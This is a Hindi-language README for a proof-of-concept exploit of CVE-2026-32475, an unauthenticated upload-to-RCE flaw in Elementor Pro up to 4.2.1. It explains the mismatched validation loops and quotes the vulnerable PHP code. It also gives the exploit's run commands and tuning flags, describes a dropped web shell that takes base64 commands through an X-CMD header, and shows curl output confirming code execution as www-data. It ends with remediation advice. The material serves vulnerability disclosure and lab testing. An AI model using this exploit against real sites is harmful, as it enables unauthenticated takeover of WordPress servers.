
# CVE-2026-32475 के लिए PoC: Elementor Pro <=4.2.1 बिना प्रमाणीकरण के फ़ाइल अपलोड से RCE तक। केवल Stdlib Python।
| CVE | CVE-2026-32475 |
| CVSS | 9.0 क्रिटिकल |
| CWE | CWE-434 (खतरनाक प्रकार की फ़ाइल का अप्रतिबंधित अपलोड) |
| प्रमाणीकरण आवश्यक | कोई नहीं |
| प्रभावित | Elementor Pro ≤ 4.2.1 |
| ठीक किया गया | Elementor Pro 4.2.2 (2026-08-19) |
| रिपोर्टकर्ता | Tin Pham (TF1T), Patchstack Bug Bounty Program के माध्यम से |
बिना प्रमाणीकरण वाला आगंतुक
│
▼
Elementor फ़ॉर्म पेज (फ़ाइल अपलोड फ़ील्ड)
│
▼
multipart/form-data POST → admin-ajax.php
│
├── भाग #1: खाली फ़ाइल
│ └─► validation(): UPLOAD_ERR_NO_FILE → return ◄── सत्यापन यहीं रुक जाता है
│
└── भाग #2: shell.php
└─► कभी टाइप-जाँच नहीं की जाती
│
▼
process_field(): continue → .php पेलोड को फिर भी स्थानांतरित करता है
│
▼
wp-content/uploads/elementor/forms/<uniqid>.php
│
▼
उस URL को GET करें ⇒ RCE
Forms मॉड्यूल प्रत्येक अपलोड की गई प्रविष्टि को अलग-अलग लूप सेमेन्टिक्स के साथ दो अलग-अलग पासों में संसाधित करता है:
validation() process_field()
──────────── ──────────────
foreach files as file: foreach files as file:
if empty(file): if empty(file):
add_error(...) continue ◄─ केवल इस प्रविष्टि को छोड़ता है
return move_uploaded_file(...) ◄─ बाकी को स्थानांतरित करता है
validation() पहली प्रविष्टि पर रुक जाता है जिसकी त्रुटि UPLOAD_ERR_NO_FILE है, इसलिए उसके बाद आने वाली .php प्रविष्टि की कभी टाइप-जाँच नहीं होती। process_field() केवल उस खाली प्रविष्टि को छोड़ देता है और फिर भी प्रत्येक बाद की प्रविष्टि को सार्वजनिक अपलोड निर्देशिका में स्थानांतरित करता है। वैलिडेटर विफलता की रिपोर्ट करता है जबकि मूवर आगे बढ़ता है — दो लूपों के बीच का डीसिंक्रोनाइज़ेशन ही भेद्यता है।
भेद्य कोड (modules/forms/fields/upload.php, ≤ 4.2.1):
// validation()
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // ← पूरे लूप को रोक देता है
}
// process_field()
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // ← केवल इस प्रविष्टि को छोड़ता है
}
...
$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
$filename = uniqid() . '.' . $file_extension; // हमलावर-नियंत्रित एक्सटेंशन बच जाता है
move_uploaded_file( $file['tmp_name'], $new_file );
4.2.2 में फिक्स दोनों लूपों को सहमत कराता है — खाली प्रविष्टि अब सत्यापन को जल्दी समाप्त नहीं करती, इसलिए .php प्रविष्टि की टाइप-जाँच होती है और उसे अस्वीकार कर दिया जाता है।
post_id, form_id तथा अपलोड फ़ील्ड id को स्क्रैप करता है।admin-ajax.php पर भेजता है
(action=elementor_pro_forms_send_form)।<uniqid> फ़ाइलनाम स्थान को स्कैन करके शेल URL पुनर्प्राप्त करता है
(पूर्ण uniqid → फ़ाइलनाम मैपिंग के लिए analysis.md देखें)।शेल अपना कमांड एक X-CMD अनुरोध हेडर (base64-डिकोडेड) से पढ़ता है, न कि क्वेरी-स्ट्रिंग/POST पैरामीटर से। यह केवल कमांड ट्रांसपोर्ट को फ़ॉर्म पैरामीटर से अलग और सामान्य एक्सेस-लॉग क्वेरी स्ट्रिंग्स से बाहर रखने के लिए है — इसका भेद्यता से कोई संबंध नहीं है।
python3 el_rce_poc.py --url http://TARGET \
--page-url http://TARGET/upload-form/ \
--command "id; hostname; uname -a"
केवल Python 3 stdlib। ट्यूनिंग फ़्लैग:
| फ़्लैग | डिफ़ॉल्ट | अर्थ |
|---|---|---|
--probe-seconds | 0.05 | स्कैन करने के लिए uniqid माइक्रोसेकंड विंडो (सेकंड) |
--step-us | 2000 | प्रोब के बीच माइक्रोसेकंड |
--workers | 24 | समवर्ती प्रोब थ्रेड |
--field-id | auto | अपलोड फ़ील्ड की स्वचालित खोज विफल होने पर मैन्युअल रूप से सेट करें |
धीमे लक्ष्यों पर नोट: प्रोब चरण लक्ष्य के लिए भारी हो सकता है (हजारों अनुरोध)। छोटे उपकरणों पर जो लक्ष्य और हमलावर दोनों होस्ट करते हैं, वेब सर्वर समवर्ती सबमिशन छोड़ सकता है — केवल मनमाना-अपलोड प्रिमिटिव साबित करने के लिए --probe-seconds 0 के साथ चलाएं, फिर लक्ष्य पर सीधे wp-content/uploads/elementor/forms/ के अंतर्गत छोड़ी गई .php का पता लगाएं और सत्यापित करें।
PoC दो स्वतंत्र मील के पत्थर अलग करता है:
मनमाना अपलोड प्रिमिटिव → PASS / FAIL
फ़ाइलनाम पुनर्प्राप्ति (uniqid) → PASS / PARTIAL
RCE पुष्टि → PASS (उपरोक्त दोनों सफल)
एग्ज़िट कोड 0 का अर्थ है पूर्ण RCE पुष्टि। एग्ज़िट कोड 2 का अर्थ है कि अपलोड प्रिमिटिव सिद्ध हो गया लेकिन फ़ाइलनाम विंडो के भीतर अनुमान नहीं लगाया जा सका (छोड़ी गई .php को wp-content/uploads/elementor/forms/ के अंतर्गत मैन्युअल रूप से सत्यापित करें)।
docker-compose.yml देखें। पूर्ण चरण:
# 1) WordPress + MariaDB शुरू करें
docker compose up -d
# DB के लिए ~30s प्रतीक्षा करें, फिर WordPress इंस्टॉल करें
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
# 2) मुफ्त Elementor इंस्टॉल करें
docker compose run --rm wpcli wp plugin install elementor --activate
# 3) भेद्य Elementor Pro (<= 4.2.1) इंस्टॉल करें।
# Elementor Pro एक भुगतान वाला प्लगइन है — अपना कानूनी रूप से प्राप्त
# elementor-pro.zip (जैसे 4.2.1) पहले docker-compose.yml के बगल में रखें:
docker compose run --rm wpcli wp plugin activate elementor-pro \
|| docker compose exec wordpress bash -c \
"cd wp-content/plugins && unzip -o /var/www/html/epr.zip"
# 4) फ़ॉर्म पेज बनाएं (PoC रिपॉजिटरी setup_form_page.php भेजती है):
docker cp setup_form_page.php wp-lab:/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
# 5) PoC चलाएं
python3 el_rce_poc.py --url http://localhost:8090 --page-url "http://localhost:8090/?page_id=<ID>"
अपलोड प्रिमिटिव पुष्टि — पेलोड <uniqid>.php के रूप में छोड़ा गया:
$ ls wp-content/uploads/elementor/forms/
6a8cebf002529.php
छोड़े गए शेल का अनुरोध करके RCE पुष्टि:
$ curl http://localhost:8090/wp-content/uploads/elementor/forms/<uniqid>.php \
-H "X-CMD: $(echo 'id && hostname' | base64)"
POC-RCE-OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
26564238432c
Elementor Pro को 4.2.2+ में अपडेट करें। तब तक, सार्वजनिक फ़ॉर्म से फ़ाइल अपलोड फ़ील्ड हटाएं या WAF नियम द्वारा फ़ॉर्म सबमिशन प्रतिबंधित करें।
केवल अधिकृत सुरक्षा अनुसंधान और लैब उपयोग के लिए।